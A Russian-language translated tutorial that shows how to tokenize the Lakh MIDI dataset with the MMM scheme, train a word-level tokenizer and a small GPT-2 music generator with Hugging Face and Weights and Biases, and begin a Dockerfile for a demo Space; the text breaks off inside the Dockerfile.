Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

[Перевод] Используем Hugging Face для обучения GPT-2 генерации музыки

8fae34821d8521e7414e78929bc2f9d8.png

Hugging Face имеет полнофункциональный набор инструментов, от функций создания датасетов до развёртывания демо моделей. В этом туториале мы воспользуемся такими инструментами, поэтому вам полезно будет знать экосистему Hugging Face. К концу туториала вы сможете обучить модель GPT-2 генерации музыки.

Демо проекта можно попробовать здесь.

Источником вдохновения и фундаментом этого туториала стала выдающаяся работа доктора Тристана Беренса.

Введение

Сегодня генеративный ИИ имеет большую популярность в сфере машинного обучения. Впечатляющие модели наподобие ChatGPT и Stable Diffusion благодаря своим потрясающим возможностям захватили внимание технологического сообщества и широкой публики. Крупные компании (Facebook, OpenAI и Stability AI) также присоединились к этому движению, выпустив впечатляющие инструменты для генерации музыки.

Обычно для создания генеративных музыкальных моделей используется два подхода:

  • Сырое аудио: при таком подходе для обучения модели используется сырое представление звука (.wav, .mp3) . Такую методику применяют для StableAudio и MusicGen.

  • Символическая музыка: вместо использования сырого представления звука можно использовать команды для генерации аудио. Например, вместо использования записи мелодии на флейте применяется считываемая музыкантом нотная запись. Команды для создания конкретного музыкального фрагмента хранятся в файлах MIDI или MusicXML. Компания OpenAI обучала MuseNet (уже недоступную) на символической музыке.

В этом туториале мы будем применять символические модели. В частности, мы реализуем хитрую идею: если получится преобразовать команды из файлов символической музыки (в туториале используются файлы MIDI) в слова, то мы сможем при обучении модели воспользоваться потрясающими достижениями в сфере NLP!

Сбор датасета и преобразование его в слова

Примечание: учитывая огромный размер необходимых файлов MIDI, я курировал уже готовый к применению датасет, выложенный на Hugging Face. Если же вы предпочитаете датасет меньшего размера, то можете воспользоваться для этого туториала датасетом JS Fake Chorales.

Сбор датасета и его подготовка к обучению — это самая сложная часть проекта. К счастью, в Интернете есть коллекции MIDI, которыми можно воспользоваться. Мы будем использовать одну из таких коллекций, курируемую Колином Рэффелом — Lakh MIDI dataset (LMD), включающую в себя 176581 уникальный файл MIDI. Из LDM мы возьмём подмножество Clean MIDI (14751 файл) с именами файлов, в которых указаны исполнитель и название.

Получаем жанры

Зная исполнителя и название каждой композиции, мы можем определить её жанр. Эту задачу можно решить множеством разных способов. Я воспользуюсь комбинированным: сначала при помощи Spotify API получу жанры по исполнителю, а потом применю ChatGPT для их группировки в готовый набор более-менее сбалансированных жанров.

# Фрагмент кода Spotify API
genres = {}
for i,artist in enumerate(artists):
    try:
        results = sp.search(q=artist, type='artist',limit=1)
        items = results['artists']['items']
        genre_list = items[0]['genres'] if len(items) else items['genres']
        genres[artist] = (genre_list[0]).replace(" ", "_")
        if i < 5:
            print("INFO: Preview {}/5".format(i + 1),
                  artist, genre_list[:5])
    except Exception as e:
        genres[artist] = "MISC"
        print("INFO: ", artist, "not included: ", e)

Результаты далеко неидеальны, но они достаточно близки, чтобы работать над контролем нашей модели. Готовый файл CSV с жанрами выложен на GitHub.

Зачем нам получать жанры? Как мы увидим ниже, их можно использовать для внедрения во входную последовательность токена "GENRE={NAME_OF_GENRE}", что пустит процесс генерации по направлению этого конкретного жанра.

Токенизация датасета

Tokenizing Dataset
Токенизация музыкальных нот в текстовые токены.

На изображении выше показан один из способов преобразования музыкальных команд в токены, а это именно то, что нужно для обучения языковой модели! В этом разделе мы узнаем, как выполнить переход от файла MIDI в текстовый формат с использованием псевдослов (не относящихся к английскому лексикону) для обучения модели GPT-2.

Разбиение датасета на блоки

В этом туториале мы будем токенизировать каждый файл на восьмитактовые окна, где каждый «такт» (bar) — это сегмент, содержащий указанное количество долей. Вы можете поэкспериментировать с другими числами, например, с 4 или 16, и понаблюдать, как меняется результат. Можно сделать это множеством разных способов, но мы для простоты обойдём в цикле датасет и создадим новые файлы MIDI длиной восемь тактов. Для разбиения на блоки я воспользовался следующим кодом в Colab:

for i, midi_path in enumerate(tqdm(midi_paths, desc="CHUNKING MIDIS")):
    try:
        # Указываем выходную папку для этого файла
        relative_path = midi_path.relative_to(Path("path/to/dataset/lmd", dataset))
        output_dir = merged_out_dir / relative_path.parent
        output_dir.mkdir(parents=True, exist_ok=True)

        # Проверяем, существуют ли уже блоки
        chunk_paths = list(output_dir.glob(f"{midi_path.stem}_*.mid"))
        if len(chunk_paths) > 0:
            print(f"Chunks for {midi_path} already exist, skipping...")
            continue

        # Загружаем MIDI, объединяем и сохраняем его
        midi = MidiFile(midi_path)
        ticks_per_cut = MAX_NB_BAR * midi.ticks_per_beat * 4
        nb_cuts = ceil(midi.max_tick / ticks_per_cut)
        if nb_cuts < 2:
            continue
        print(f"Processing {midi_path}")
        midis = [deepcopy(midi) for _ in range(nb_cuts)]

        for j, track in enumerate(midi.instruments):  # сортируем ноты, потому что они не всегда отсортированы правильно
            track.notes.sort(key=lambda x: x.start)
            for midi_short in midis:  # очищаем ноты из укороченных MIDI
                midi_short.instruments[j].notes = []
            for note in track.notes:
                cut_id = note.start // ticks_per_cut
                note_copy = deepcopy(note)
                note_copy.start -= cut_id * ticks_per_cut
                note_copy.end -= cut_id * ticks_per_cut
                midis[cut_id].instruments[j].notes.append(note_copy)

        # Сохраняем MIDI
        for j, midi_short in enumerate(midis):
            if sum(len(track.notes) for track in midi_short.instruments) < MIN_NB_NOTES:
                continue
            midi_short.dump(output_dir / f"{midi_path.stem}_{j}.mid")

    except Exception as e:
        print(f"An error occurred while processing {midi_path}: {e}")

Выше показана упрощённая версия кода. Полный ноутбук можно посмотреть здесь.

Из команд MIDI в слова

Сегментировав каждую композицию в восьмитактовые файлы MIDI, мы можем преобразовать их в псевдослова. Исследователи предложили различные методики токенизации музыки. Вот одни из самых популярных:

Потрясающий обзор различных токенизаторов можно найти в документации MidiTok — мощного пакета Python для токенизации музыкальных файлов MIDI.

Таблица совместимости токенизаций и дополнительных токенов.

Токенизация

Темп

Тактовый размер

Аккорды

Паузы

Педаль удержания звука

Модуляция звука

MIDILike

REMI

TSD

Structured

CPWord

Octuple

MuMIDI

MMM

В этом туториале я буду использовать MMM: методику токенизации Multi-Track Music Machine. MMM — это простая, но мощная методика преобразования файлов MIDI в псевдослова. Можете попробовать другие токенизаторы и сравнить результаты.

MMM: Multi-Track Music Machine

Джефф Энс и Филип Паске представили токенизатор MMM в научной статье MMM: Exploring Conditional Multi-Track Music Generation with the Transformer. Чтобы лучше понять эту методику, взгляните на иллюстрацию из статьи:

MMM: Multi-Track Music Machine Tokenization Method
Описания MultiTrack и Bar Fill. Токены bar соответствуют полным тактам, а токены track соответствуют полным дорожкам.

В MMM числа обозначают высоту нот и инструменты в нотации MIDI. Например, на показанной выше схеме NOTE_ON=60 — это C4, а INST=30 означает гитару с овердрайвом (Overdriven Guitar). Можно использовать NOTE_ON/NOTE_OFF для обозначения того, где нота начинает и заканчивает звучать, и TIME_DELTA для перемещения временной шкалы. Ноты обёрнуты в токены <BAR_START> и <BAR_END>, которые добавлены внутрь псевдослов <TRACK_START> и <TRACK_END>, которые, в свою очередь, группируются внутри <PIECE_START> и <PIECE_END>, обозначающих начало и конец произведения.

Давайте проиллюстрируем это конкретным примером, взятым из JS Fake Chorales:

PIECE_START STYLE=JSFAKES GENRE=JSFAKES TRACK_START INST=48 BAR_START NOTE_ON=68 TIME_DELTA=4 NOTE_OFF=68 NOTE_ON=67 TIME_DELTA=4 NOTE_OFF=67 NOTE_ON=65 TIME_DELTA=4 NOTE_OFF=65 NOTE_ON=63 TIME_DELTA=2 NOTE_OFF=63 NOTE_ON=65 TIME_DELTA=2 NOTE_OFF=65 BAR_END BAR_START NOTE_ON=67 TIME_DELTA=4 NOTE_OFF=67 NOTE_ON=65 TIME_DELTA=4 NOTE_OFF=65 NOTE_ON=58 TIME_DELTA=2 NOTE_OFF=58 NOTE_ON=60 TIME_DELTA=2 NOTE_OFF=60 NOTE_ON=62 TIME_DELTA=4 NOTE_OFF=62 BAR_END BAR_START NOTE_ON=62 TIME_DELTA=4 NOTE_OFF=62 NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 BAR_END BAR_START NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 NOTE_ON=63 TIME_DELTA=12 NOTE_OFF=63 BAR_END TRACK_END TRACK_START INST=0 BAR_START NOTE_ON=72 TIME_DELTA=4 NOTE_OFF=72 NOTE_ON=75 TIME_DELTA=4 NOTE_OFF=75 NOTE_ON=70 TIME_DELTA=4 NOTE_OFF=70 NOTE_ON=67 TIME_DELTA=4 NOTE_OFF=67 BAR_END BAR_START NOTE_ON=72 TIME_DELTA=2 NOTE_OFF=72 NOTE_ON=70 TIME_DELTA=2 NOTE_OFF=70 NOTE_ON=68 TIME_DELTA=4 NOTE_OFF=68 NOTE_ON=67 TIME_DELTA=4 NOTE_OFF=67 NOTE_ON=65 TIME_DELTA=4 NOTE_OFF=65 BAR_END BAR_START NOTE_ON=70 TIME_DELTA=4 NOTE_OFF=70 NOTE_ON=68 TIME_DELTA=4 NOTE_OFF=68 NOTE_ON=67 TIME_DELTA=4 NOTE_OFF=67 NOTE_ON=72 TIME_DELTA=4 NOTE_OFF=72 BAR_END BAR_START NOTE_ON=72 TIME_DELTA=4 NOTE_OFF=72 NOTE_ON=70 TIME_DELTA=12 NOTE_OFF=70 BAR_END TRACK_END TRACK_START INST=32 BAR_START NOTE_ON=53 TIME_DELTA=4 NOTE_OFF=53 NOTE_ON=48 TIME_DELTA=4 NOTE_OFF=48 NOTE_ON=50 TIME_DELTA=4 NOTE_OFF=50 NOTE_ON=51 TIME_DELTA=4 NOTE_OFF=51 BAR_END BAR_START NOTE_ON=48 TIME_DELTA=4 NOTE_OFF=48 NOTE_ON=53 TIME_DELTA=4 NOTE_OFF=53 NOTE_ON=55 TIME_DELTA=2 NOTE_OFF=55 NOTE_ON=57 TIME_DELTA=2 NOTE_OFF=57 NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 BAR_END BAR_START NOTE_ON=55 TIME_DELTA=4 NOTE_OFF=55 NOTE_ON=48 TIME_DELTA=2 NOTE_OFF=48 NOTE_ON=50 TIME_DELTA=2 NOTE_OFF=50 NOTE_ON=51 TIME_DELTA=4 NOTE_OFF=51 NOTE_ON=44 TIME_DELTA=2 NOTE_OFF=44 NOTE_ON=46 TIME_DELTA=2 NOTE_OFF=46 BAR_END BAR_START NOTE_ON=48 TIME_DELTA=2 NOTE_OFF=48 NOTE_ON=50 TIME_DELTA=2 NOTE_OFF=50 NOTE_ON=51 TIME_DELTA=12 NOTE_OFF=51 BAR_END TRACK_END TRACK_START INST=24 BAR_START NOTE_ON=65 TIME_DELTA=4 NOTE_OFF=65 NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 NOTE_ON=65 TIME_DELTA=2 NOTE_OFF=65 NOTE_ON=58 TIME_DELTA=2 NOTE_OFF=58 NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 BAR_END BAR_START NOTE_ON=63 TIME_DELTA=2 NOTE_OFF=63 NOTE_ON=62 TIME_DELTA=2 NOTE_OFF=62 NOTE_ON=60 TIME_DELTA=2 NOTE_OFF=60 NOTE_ON=62 TIME_DELTA=2 NOTE_OFF=62 NOTE_ON=63 TIME_DELTA=4 NOTE_OFF=63 NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 BAR_END BAR_START NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 NOTE_ON=60 TIME_DELTA=4 NOTE_OFF=60 NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 NOTE_ON=58 TIME_DELTA=4 NOTE_OFF=58 BAR_END BAR_START NOTE_ON=56 TIME_DELTA=4 NOTE_OFF=56 NOTE_ON=55 TIME_DELTA=12 NOTE_OFF=55 BAR_END TRACK_END PIECE_END

Надеюсь, этот краткий обзор объяснил вам, как работает MMM. А теперь самое интересное! Давайте возьмём датасет LMD Clean и преобразуем его в псевдослова.

Для токенизации датасета можно воспользоваться опенсорсными библиотеками, например, MidiTok (о которой говорилось выше) или Musicaiz. У обеих имеются замечательные возможности по настройке процесса токенизации. Однако в качестве начальной точки я решил взять репозиторий MMM-JSB и адаптировать его под Lakh Midi Dataset, потому что это позволит мне иметь больше контроля над процессом. Адаптированный репозиторий выложен здесь.

Из адаптированного репозитория удалены файлы со множественными тактовыми размерами и тактовыми размерами, отличающимися от 4/4. Кроме того, в нём добавлен токен GENRE= token , чтобы мы могли управлять в инференсе жанром, который должна генерировать модель. Наконец, я решил не дискретизировать ноты, чтобы звуки были менее роботоподобными.

Для токенизации датасета можно использовать этот ноутбук. Однако стоит помнить, то этот процесс может быть долгим и у вас могут возникать ошибки. При желании можно его пропустить: я выложил токенизированный датасет в Hub, и его можно сразу использовать! Hugging Face позволяет с лёгкостью загружать датасеты. В данном случае я создал кадр данных (data frame) для очистки и исследования данных, а затем загрузил кадр данных в Hub как датасет.

# Устанавливаем датасеты
!pip install datasets

# Собираем файлы из нужной папки
import glob
dataset_files = glob.glob("/path/to/tokenized/dataset/*.txt")

# Загружаем файлы как датасет HF
from datasets import load_dataset
dataset = load_dataset("text", data_files=dataset_files)

# Преобразуем датасет в кадр данных
ds = dataset["train"]
df = ds.to_pandas()

# Выполняем очистку и исследование данных...

from datasets import Dataset
# Пребразуем DataFrame в датасет Hugging Face
clean_dataset = Dataset.from_pandas(df)

# Выполняем вход в аккаунт Hugging Face
from huggingface_hub import notebook_login
notebook_login()

# Загружаем датасет в свой аккаунт, заменив juancopi81 на своё имя
clean_dataset.push_to_hub("juancopi81/mmm_track_lmd_8bars_nots")

Полный ноутбук можно изучить здесь.

Обучаем токенизатор и модель

На этом этапе наш датасет уже должен быть отформатирован в виде псевдослов. Помните, что можно создать его, воспользовавшись предыдущей частью туториала, или просто взять готовый из Hub. Если у вас мало ресурсов или вы хотите протестировать эту часть туториала, то можно взять датасет меньшего размера. Например, я рекомендую в качестве более простой альтернативы датасет js-fakes-4bars. В зависимости от выбранного датасета (LMD | JS Fake) я добавлю ссылки на соответствующие ноутбуки.

Так как теперь у нас есть датасет псевдослов, то следующая часть будет очень похожа на обучение языковой модели, но язык будет состоять из музыкальных слов. Эта часть туториала во многом повторяет курс по NLP Hugging Face, в котором после получения датасета нужно обучить токенизатор.

Примечание: если вы незнакомы с токенизацией или обучением моделей, то рекомендую для лучшего понимания нашего туториала просмотреть курс.

Токенизатор

Colab для этой части туториала: LMD | JS Fake

В этом туториале мы будем обучать модель GPT-2. Эта модель имеет превосходные возможности обучения, она опенсорсная и к тому же Hugging Face существенно облегчил её обучение и использование. Однако GPT-2 не обучена на музыкальный язык, поэтому её нужно обучить заново, начав с токенизатора.

Чтобы проиллюстрировать предыдущий абзац, токенизируем несколько слов из нашего датасета при помощи стандартного токенизатора GPT-2:

# Берём выборку из датасета
sample_10 = raw_datasets["train"]["text"][10]
sample = sample_10[:242]
sample
PIECE_START  GENRE=POP TRACK_START INST=35 DENSITY=1 BAR_START TIME_DELTA=6.0 NOTE_ON=40 TIME_DELTA=4.0 NOTE_ON=32 TIME_DELTA=0.10833333333333428 NOTE_OFF=40 TIME_DELTA=5.533333333333331 NOTE_OFF=32 BAR_END BAR_START NOTE_ON=31 TIME_DELTA=6.0
# Стандартный токенизатор GPT-2, применённый к нашему датасету
from transformers import AutoTokenizer

tokenizer = AutoTokenizer.from_pretrained("gpt2")
print(tokenizer(sample).tokens())
['PI', 'EC', 'E', '', 'ST', 'ART', 'Ġ', 'ĠGEN', 'RE', '=', 'P', 'OP', 'ĠTR', 'ACK', '', 'ST', 'ART', 'ĠINST', '=', '35', 'ĠD', 'ENS', 'ITY', '=', '1', 'ĠBAR', '', 'ST', 'ART', 'ĠTIME', '', 'D', 'EL', 'TA', '=', '6', '.', '0', 'ĠNOTE', '', 'ON', '=', '40', 'ĠTIME', '', 'D', 'EL', 'TA', '=', '4', '.', '0', 'ĠNOTE', '', 'ON', '=', '32', 'ĠTIME', '', 'D', 'EL', 'TA', '=', '0', '.', '108', '3333', '3333', '33', '34', '28', 'ĠNOTE', '', 'OFF', '=', '40', 'ĠTIME', '', 'D', 'EL', 'TA', '=', '5', '.', '5', '3333', '3333', '3333', '31', 'ĠNOTE', '', 'OFF', '=', '32', 'ĠBAR', '', 'END', 'ĠBAR', '', 'ST', 'ART', 'ĠNOTE', '', 'ON', '=', '31', 'ĠTIME', '_', 'D', 'EL', 'TA', '=', '6', '.', '0']

Как видите, стандартный токенизатор GPT-2 испытывает трудности с музыкальными токенами. Для улучшения результатов нужен индивидуальный подход.

При обучении токенизатора обычно начинают с нормализации слов. В этот шаг включается удаление ненужных пробелов, перевод слов в нижний регистр и устранение знаков ударения. При работе с музыкальными токенами этот этап, необходимый для естественных языков, не нужен.

Следующий этап — это предварительная токенизация, разделение ввода на сущности меньшего размера, например, слова. В нашем случае достаточно разбивать ввод по пробелам:

from tokenizers import Tokenizer
from tokenizers.models import WordLevel

# Необходимо задать токен UNK
new_tokenizer = Tokenizer(model=WordLevel(unk_token="[UNK]"))

# Добавляем предварительный токенизатор
from tokenizers.pre_tokenizers import WhitespaceSplit

new_tokenizer.pre_tokenizer = WhitespaceSplit()

# Протестируем наш pre_tokenizer
new_tokenizer.pre_tokenizer.pre_tokenize_str(sample)
[('PIECE_START', (0, 11)),
('GENRE=POP', (13, 22)),
('TRACK_START', (23, 34)),
('INST=35', (35, 42)),
('DENSITY=1', (43, 52)),
('BAR_START', (53, 62)),
('TIME_DELTA=6.0', (63, 77)),
('NOTE_ON=40', (78, 88)),
('TIME_DELTA=4.0', (89, 103)),
('NOTE_ON=32', (104, 114)),
('TIME_DELTA=0.10833333333333428', (115, 145)),
('NOTE_OFF=40', (146, 157)),
('TIME_DELTA=5.533333333333331', (158, 186)),
('NOTE_OFF=32', (187, 198)),
('BAR_END', (199, 206)),
('BAR_START', (207, 216)),
('NOTE_ON=31', (217, 227)),
('TIME_DELTA=6.0', (228, 242))]

Наконец, мы обучаем токенизатор, выполняем необходимую постобработку и (необязательно, но крайне рекомендуемо) загружаем его в Hub.

# Получаем батчи по 1000 текстов
def get_training_corpus():
  dataset = raw_datasets["train"]
  for i in range(0, len(dataset), 1000):
    yield dataset[i : i + 1000]["text"]

from tokenizers.trainers import WordLevelTrainer

# Добавляем специальные токены
trainer = WordLevelTrainer(
    special_tokens=["[UNK]", "[CLS]", "[SEP]", "[PAD]", "[MASK]"]
)

# Выполняем постобработку и загружаем его в Hub
from transformers import PreTrainedTokenizerFast

new_tokenizer.save("tokenizer.json")

new_tokenizer = PreTrainedTokenizerFast(tokenizer_file="tokenizer.json")
new_tokenizer.add_special_tokens({'pad_token': '[PAD]'})

new_tokenizer.push_to_hub("lmd_8bars_tokenizer")

Давайте посмотрим, как наш токенизатор работает после обучения:

['PIECE_START', 'GENRE=POP', 'TRACK_START', 'INST=35', 'DENSITY=1', 'BAR_START', 'TIME_DELTA=6.0', 'NOTE_ON=40', 'TIME_DELTA=4.0', 'NOTE_ON=32', 'TIME_DELTA=0.10833333333333428', 'NOTE_OFF=40', 'TIME_DELTA=5.533333333333331', 'NOTE_OFF=32', 'BAR_END', 'BAR_START', 'NOTE_ON=31', 'TIME_DELTA=6.0']

Именно то, что мы и хотели! Отличная работа! Теперь у нас есть токенизатор в Hub для обучения модели GPT-2.

Модель

Colab для этой части туториала: LMD | JS Fake

Теперь, когда датасет и токенизатор готовы, настало время обучать модель. В этой части туториала мы выполним следующее:

  • Подготовим датасет для модели.

  • Выберем конфигурацию модели.

  • Обучим модель при помощи специального тренера. Специальный тренер позволит нам логировать результаты модели в процессе обучения в Weights and Biases (для этого нужен аккаунт W&B).

Подготовка датасета

Самое сложное мы уже сделали, так что подготовка датасета будет простым процессом. Нужно взять датасет с Hugging Face и воспользоваться новым токенизатором для создания токенизированного датасета. Именно эту токенизированную версию датасета GPT-2 ожидает в качестве входных данных.

# Импорт библиотек
from datasets import load_dataset
from transformers import AutoTokenizer

# Скачивание датасета, можно заменить на собственный датасет
ds = load_dataset("juancopi81/mmm_track_lmd_8bars_nots", split="train")
# У нас в ds есть только "train", поэтому мы создаём разбиение test и train
raw_datasets = ds.train_test_split(test_size=0.1, shuffle=True)
# Меняем на соответствующий токенизатор
tokenizer = AutoTokenizer.from_pretrained("juancopi81/lmd_8bars_tokenizer")
raw_datasets

raw_datasets теперь содержит train и test.

DatasetDict({
    train: Dataset({
        features: ['text'],
        num_rows: 159810
    })
    test: Dataset({
        features: ['text'],
        num_rows: 17757
    })
})

Теперь токенизируем весь датасет. Это можно сделать множеством способов. В этом туториале мы будем обрезать все тексты (композиции) длиннее заданного context_length. В моделях трансформеров context_length представляет максимальную длину последовательности (токенов), которую может обрабатывать модель. Эта длина часто ограничена из-за памяти или архитектуры модели.

# Значение 2048 неплохо подходит, но при желании его можно заменить
context_length = 2048

# Функция для токенизации датасета
def tokenize(element):
  outputs = tokenizer(
      element["text"],
      truncation=True, #Удаление элемента длиннее, чем размер контекста, не влияет на JSB
      max_length=context_length,
      padding=False
  )
  return {"input_ids": outputs["input_ids"]}

# Создаём tokenized_dataset. Мы используем map для передачи каждого элемента датасета для токенизации и удаления ненужных столбцов.
tokenized_datasets = raw_datasets.map(
    tokenize, batched=True, remove_columns=raw_datasets["train"].column_names
)

tokenized_datasets
DatasetDict({
    train: Dataset({
        features: ['input_ids'],
        num_rows: 159810
    })
    test: Dataset({
        features: ['input_ids'],
        num_rows: 17757
    })
})

tokenized_dataset содержит input_ids, необходимые для обучения модели.

Выбор конфигурации модели

В этом туториале мы будем обучать модель GPT-2. При подготовке модели критически важно конфигурирование размеров модели GPT-2. Я добавил в ноутбук код для определения размера модели при помощи результатов законов масштабирования из научной статьи по Chinchilla (исследования, анализирующего взаимосвязи между размером модели, данными и показателями). Я адаптировал эту часть ноутбука из реализации Карпати.

Примечание: я пока совершенствую эту часть туториала, поэтому работа не завершена. При внесении изменений я соответствующим образом буду дополнять ноутбук. С удовольствием прочитаю ваши отзывы!

Для этого туториала мы используем небольшую версию (с малым количеством параметров), которая позволит нам обучить модель в условиях ограниченных ресурсов, а после обучения генерировать музыку быстрее. Как вы видели, демо из начала туториала не использует GPU и создаёт музыку за разумное время.

# Можно менять это в зависимости от размера данных
n_layer=6 # Количество слоёв трансформера
n_head=8 # Количество multi-head attention heads
n_emb=512 # Размер эмбеддингов

from transformers import AutoConfig, GPT2LMHeadModel

config = AutoConfig.from_pretrained(
    "gpt2",
    vocab_size=len(tokenizer),
    n_positions=context_length,
    n_layer=n_layer,
    n_head=n_head,
    pad_token_id=tokenizer.pad_token_id,
    bos_token_id=tokenizer.bos_token_id,
    eos_token_id=tokenizer.eos_token_id,
    n_embd=n_emb
)

model = GPT2LMHeadModel(config)

Data Collator

Перед тем как начинать обучение, нужно создать батчи для модели. Кроме того, следует вспомнить, что входные данные используются как метки в каузальной языковой модели (Causal Language Model) (со сдвигом на один элемент), поэтому это тоже нужно учитывать. Но не беспокойтесь, всё это сделает за нас data collator Hugging Face, это определённо облегчит нашу жизнь!

from transformers import DataCollatorForLanguageModeling
# Он поддерживает и masked language modeling (MLM), и causal language modeling (CLM)
# Для CLM необходимо задать mlm=False
data_collator = DataCollatorForLanguageModeling(tokenizer, mlm=False)

Обучение модели

Мы собрали всё вместе, и настал момент истины: обучение модели! В процессе обучения модели не следует действовать слепо, так что всегда стоит по ходу дела тестировать некоторые поколения. Эта часть работы доставляет удовольствие: вы будете слышать, как ваша ИИ-музыка будет эволюционировать со сменой эпох.

Для этого вам потребуется аккаунт Weights and Biases и настройка тренера так, чтобы он логировал музыку в eval_loop. Подробности можно посмотреть в ноутбуке, а здесь я приведу самый важный фрагмент:

from transformers import Trainer, TrainingArguments

# сначала создаём собственный тренер для логирования распределения прогнозов
SAMPLE_RATE=44100
class CustomTrainer(Trainer):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

    def evaluation_loop(
        self,
        dataloader,
        description,
        prediction_loss_only=None,
        ignore_keys=None,
        metric_key_prefix="eval",
    ):
        # вызываем метод класса super, чтобы получить вывод eval
        eval_output = super().evaluation_loop(
            dataloader,
            description,
            prediction_loss_only,
            ignore_keys,
            metric_key_prefix,
        )

        # логируем распределение прогнозов при помощи метода `wandb.Histogram`.
        if wandb.run is not None:
            input_ids = tokenizer.encode("PIECE_START STYLE=JSFAKES GENRE=JSFAKES TRACK_START", return_tensors="pt").cuda()
            # Генерируем новые токены.
            voice1_generated_ids = model.generate(
                input_ids,
                max_length=512,
                do_sample=True,
                temperature=0.75,
                eos_token_id=tokenizer.encode("TRACK_END")[0]
            )
            voice2_generated_ids = model.generate(
                voice1_generated_ids,
                max_length=512,
                do_sample=True,
                temperature=0.75,
                eos_token_id=tokenizer.encode("TRACK_END")[0]
            )
            voice3_generated_ids = model.generate(
                voice2_generated_ids,
                max_length=512,
                do_sample=True,
                temperature=0.75,
                eos_token_id=tokenizer.encode("TRACK_END")[0]
            )
            voice4_generated_ids = model.generate(
                voice3_generated_ids,
                max_length=512,
                do_sample=True,
                temperature=0.75,
                eos_token_id=tokenizer.encode("TRACK_END")[0]
            )
            token_sequence = tokenizer.decode(voice4_generated_ids[0])
            note_sequence = token_sequence_to_note_sequence(token_sequence)
            synth = note_seq.fluidsynth
            array_of_floats = synth(note_sequence, sample_rate=SAMPLE_RATE)
            int16_data = note_seq.audio_io.float_samples_to_int16(array_of_floats)
            wandb.log({"Generated_audio": wandb.Audio(int16_data, SAMPLE_RATE)})


        return eval_output

Создав собственный тренер, можно начать обучение модели. Для начала я использовал следующие параметры:

# Создаём аргументы для нашего тренера
from argparse import Namespace

# Получаем выходную папку с меткой времени
output_path = "output"
steps = 5000
# Закомментированные параметры
config = {"output_dir": output_path,
          "num_train_epochs": 1,
          "per_device_train_batch_size": 8,
          "per_device_eval_batch_size": 4,
          "evaluation_strategy": "steps",
          "save_strategy": "steps",
          "eval_steps": steps,
          "logging_steps":steps,
          "logging_first_step": True,
          "save_total_limit": 5,
          "save_steps": steps,
          "lr_scheduler_type": "cosine",
          "learning_rate":5e-4,
          "warmup_ratio": 0.01,
          "weight_decay": 0.01,
          "seed": 1,
          "load_best_model_at_end": True,
          "report_to": "wandb"}

args = Namespace(**config)

Давайте используем их в нашем CustomTrainer:

train_args = TrainingArguments(**config)

# Используем созданный выше CustomTrainer
trainer = CustomTrainer(
    model=model,
    tokenizer=tokenizer,
    args=train_args,
    data_collator=data_collator,
    train_dataset=tokenized_datasets["train"],
    eval_dataset=tokenized_datasets["test"],
)

И запускаем обучение:

# Обучаем модель
trainer.train()

Используем Sweep для поиска улучшенных гиперпараметров

В предыдущем разделе мы обучили модель генерации музыки. И это отлично! А теперь давайте найдём для нашей модели более качественные гиперпараметры. Для этого существуют разные способы; я решил реализовать «sweep» из Weights and Biases из-за его пользовательского интерфейса и простоты использования.

Для задания sweep в W&B нужно сначала упорядочить код. На этом этапе мы разобьём предыдущий ноутбук на последовательность функций, которые можно вsзывать с различными аргументами. Примеры того, как это можно сделать, показаны по следующим ссылкам:

После упорядочивания кода можно задать конфигурацию sweep в файле YAML или в словаре Python. Эта конфигурация объяснит W&B стратегию исследования гиперпараметров, которую вы хотите реализовать. Давайте изучим этот файл:

# Исполняемая программа
program: train.py

# Метод может быть grid, random или bayes
method: random

# Проект, частью которого является этот sweep
project: mlops-001-lmdGPT

# Оптимизируемая метрика
metric:
  name: eval/loss
  goal: minimize

# Пространство параметров для поиска
parameters:
  learning_rate:
    distribution: log_uniform_values
    min: 5e-4
    max: 3e-3
  gradient_accumulation_steps:
    values: [1, 2, 4]

В этом туториале файл YAML конфигурируется под исследование гиперпараметров для learning_rate и gradient_accumulation_steps — двух самых важных значений для результатов процесса обучения. Можете поэкспериментировать с ними!

Для запуска sweep нужно выполнить следующие действия:

1. Инициализировать sweep:

wandb sweep sweep.yaml

2. Запустить агент(-ы) sweep: значение {wandb agent} можно взять из вывода предыдущего действия. {runs for this agent} обозначает максимальное количество попыток, которые должен предпринимать агент для поиска наилучших гиперпараметров:

wandb agent {wandb agent} --count {runs for this agent}

Я подготовил ноутбук для запуска агентов после упорядочивания кода в GitHub (LMD | JS Fake)

Чтобы сделать вывод из анализа, моно изучить результаты sweep в аккаунте W&B:

Tokenizing Dataset
Пример того, как выглядит sweep в W&B.

Теперь можно запустить наш скрипт для обучения модели с наилучшими гиперпараметрами из анализа. Например:

python train.py --learning_rate=0.0005 --per_device_train_batch_size=8 --per_device_eval_batch_size=4 --num_train_epochs=10 --push_to_hub=True --eval_steps=4994 --logging_steps=4994 --save_steps=4994 --output_dir="lmd-8bars-2048-epochs10" --gradient_accumulation_steps=2

И на этом можно завершить часть обучения модели и токенизатора. Далее мы проверим показатели модели.

Демонстрация показателей модели в Hugging Face Space

После завершения обучения модели настало время её продемонстрировать! Можно создать пользовательский интерфейс (UI) модели и хостить своё приложение как Hugging Face Space. В этой части туториала мы просто сделаем это вместе. Помните, что для этого требуется аккаунт Hugging Face.

После создания нового space можно решить, какой SDK использовать. В этом туториале мы будем использовать Docker, чтобы иметь больше контроля над окружением нашего приложения. Ниже представлен Dockerfile, добавленный мной для демо ML:

FROM ubuntu:20.04

WORKDIR /code

# Чтобы пользователи могли делиться результатами с сообществом - настройте в соответствии со своими требованиями
ENV SYSTEM=spaces
ENV SPACE_ID=juancopi81/multitrack-midi-music-generator

COPY ./requirements.txt /code/requirements.txt

# Предварительная конфигурация tzdata
